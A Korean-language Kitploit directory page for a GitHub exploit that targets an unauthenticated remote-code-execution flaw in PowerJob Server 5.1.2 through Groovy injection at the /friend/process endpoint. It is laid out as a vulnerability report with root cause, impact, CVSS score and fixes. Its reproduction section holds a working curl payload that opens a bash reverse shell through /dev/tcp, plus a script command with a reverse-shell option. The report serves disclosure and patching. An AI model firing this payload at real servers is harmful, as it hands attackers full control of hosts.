Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-75429_PowerJob_friend_process_RCE — 인증되지 않은 원격 코드 실행 취약점을 악용하는 PowerJob Server용 익스플로잇으로, /friend/process 엔드포인트의 Groovy 주입을 통해 임의 명령 실행 및 리버스 셸을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/unpredictable21/cve-2026-75429_powerjob_friend_process_rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Trojan
GitHubunpredictable21/cve-2026-75429_powerjob_friend_process_rce

CVE-2026-75429_PowerJob_friend_process_RCE

인증되지 않은 원격 코드 실행 취약점을 악용하는 PowerJob Server용 익스플로잇으로, /friend/process 엔드포인트의 Groovy 주입을 통해 임의 명령 실행 및 리버스 셸을 가능하게 합니다.

저장소 보기
25일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PowerJob 서버 무인증 /friend/process (Groovy 주입)를 통한 원격 코드 실행

1. 요약

PowerJob 서버(분산 작업 스케줄링/컴퓨팅 프레임워크)는 Worker↔Server 전송 계층 HTTP 포트 10010에서 /friend/process 엔드포인트를 어떠한 인증 없이 노출합니다. 이 엔드포인트는 임의의 Spring Bean의 임의의 public 메서드를 반영하며, 공격자가 GroovyEvaluator.evaluate를 호출하여 임의의 Groovy 표현식을 실행할 수 있어 무인증 원격 코드 실행이 가능합니다. 기본 docker-compose는 이 포트를 0.0.0.0에 게시하므로, 자격 증명 없이 서버가 완전히 손상될 수 있습니다.

2. 영향받는 제품

  • 제품: PowerJob (분산 작업 스케줄링/컴퓨팅 프레임워크)
  • 영향받는 버전: 5.1.2 (전송 계층 설계는 이전 릴리스에서 이어져 왔으며, 이전 버전도 동일하게 영향받음 — 4.x–5.1.2 보고)
  • 소스 저장소: https://github.com/PowerJob/PowerJob
  • 기본 배포: docker-compose.yml:29-33,47-48은 10010(HTTP 전송), 10086(AKKA), 10077(MU)을 호스트 0.0.0.0에 게시
  • 3. 취약점 위치

    항목값
    트리거 엔드포인트POST http://<server>:10010/friend/process
    등록FriendActor.java @Actor(path = "friend") + @Handler(path = "process") (HTTP/MU/AKKA 세 프로토콜 모두에 등록)
    반영 실행RemoteRequestProcessor.processRemoteRequest()
    위험한 싱크GroovyEvaluator.evaluate() → ScriptEngine.eval()
    인증 누락HttpVertxCSInitializer (HTTP) / MuServerHandler (MU)가 토큰/서명 검사 없이 라우트 등록

    주요 소스 파일(저장소 루트 기준):

    • powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (10010 라우트 등록, 인증 없음)
    • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53
    • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37
    • powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28

    4. 근본 원인

    1. 전송 계층의 인증 부재: PowerJob은 Worker와 Server 간의 통신 프로토콜(HTTP/AKKA/MU)을 "내부 신뢰" 영역으로 취급합니다. 포트 10010/10086/10077에 도달할 수 있는 모든 호스트는 합법적인 노드로 취급되며, 핸드셰이크나 서명이 없습니다.
    2. 임의 Bean 반영: RemoteRequestProcessor.processRemoteRequest는 요청 본문의 className, methodName, parameterTypes 및 args 필드를 완전히 신뢰합니다. Class.forName + SpringUtils.getBean을 사용하여 임의의 Spring Bean을 얻은 다음 Spring ReflectionUtils를 통해 해당 Bean의 public 메서드를 호출합니다.
    3. 위험한 메서드 접근 가능: GroovyEvaluator는 evaluate(String, Object)가 Groovy 스크립트 엔진(ScriptEngineManager)을 호출하여 공격자의 표현식을 직접 eval()하는 @Component Bean입니다.

    세 가지의 조합은 무인증 RCE와 같습니다.

    5. 공격 시나리오 (전제 조건: 포트 10010에 대한 네트워크 도달성만 필요)

    1. 공격자는 PowerJob 서버의 포트 10010에 HTTP POST를 전송합니다(Cookie/Token 불필요).
    2. 요청 본문은 임의의 Groovy 표현식(예: 'id'.execute().text)으로 GroovyEvaluator.evaluate를 대상으로 하는 RemoteProcessReq JSON입니다.
    3. 서버는 메서드를 반영적으로 호출하고, Groovy 엔진이 표현식을 평가합니다.
    4. 명령 실행 결과는 AskResponse.data(base64 JSON)로 공격자에게 반환됩니다.
    5. 공격자는 Groovy를 사용하여 임의의 파일을 쓰거나, 리버스 셸을 생성하거나, 데이터를 유출할 수도 있습니다.

    6. 재현 (검증됨)

    환경: JDK 17, 소스 빌드 powerjob-server-starter-5.1.2.jar(daily 프로필), 서버가 192.168.49.128:10010에서 수신 대기. JDK 21에서 재검증됨(아래 셸 형식 페이로드는 둘 다에서 작동하며, 아래 File.write에 대한 참고 사항 참조).

    root@kitploit:~
    curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
      "className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
      "methodName": "evaluate",
      "parameterTypes": ["java.lang.String","java.lang.Object"],
      "args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
    }'
    

    실제 응답: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. data 필드를 Base64 디코딩하면 서버 JVM에서 실행된 명령 출력이 생성됩니다:

    image

    또는 스크립트를 사용하여 재현할 수 있습니다:

    python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878

    7. 관찰 결과 vs 기대 결과

    • 관찰 결과: 무인증 HTTP 요청으로 서버가 임의의 명령을 실행합니다.
    • 기대 결과: /friend/process는 Server↔Worker 내부 통신의 일부이므로 무인증 요청을 거부하거나, 해당 메서드를 원격으로 호출할 수 없어야 합니다.

    8. 영향

    • 기밀성: 높음 — 서버의 임의 파일/메모리/자격 증명 읽기 가능.
    • 무결성: 높음 — 임의 파일 쓰기, 구성 및 작업 변조 가능.
    • 가용성: 높음 — 프로세스/서비스 종료 가능.
    • 영향 범위: 서버 프로세스 → 호스트(서비스 사용자의 권한으로); 기본 배포에서 공격자는 호스트의 내부 네트워크로 측면 이동할 수 있습니다.

    9. 제안된 수정 사항

    1. 전송 계층에 상호 Server/Worker 인증(토큰/서명)을 추가하고 소스를 검증하며, 10010/10086/10077을 공개 인터넷에 노출하지 마십시오.
    2. RemoteRequestProcessor를 허용 목록으로 변경: className/methodName을 프레임워크 정의 안전 핸들러로 제한하고 임의 Bean의 반영 호출을 금지합니다.
    3. GroovyEvaluator의 원격 도달성을 제거하거나 엄격히 제한합니다(유지해야 하는 경우 인증 및 샌드박스 추가).
    4. /friend/process(S4S_HANDLER_PROCESS)를 기본적으로 비활성화하거나 내부 소스로만 제한합니다.

    10. CWE

    • 기본: CWE-94 (코드 생성 제어 불량 — Groovy 주입)
    • 보조: CWE-470 (클래스 또는 코드 선택에 외부 제어 입력 사용 — 임의 Bean 반영), CWE-306 (중요 기능에 대한 인증 누락)

    11. CVSS

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 치명적

    12. 환경

    • OS: Ubuntu 22.04 / Linux 6.8
    • JDK: 17.0.19 (최초 재현); OpenJDK 21.0.11에서 재검증됨
    • 빌드: Maven 3.6.3, mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package
    • 데이터베이스: MariaDB 10.6 (필수 아님 — /friend/process는 데이터베이스 없이 트리거 가능)
    • 실행: java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...
    도구 다운로드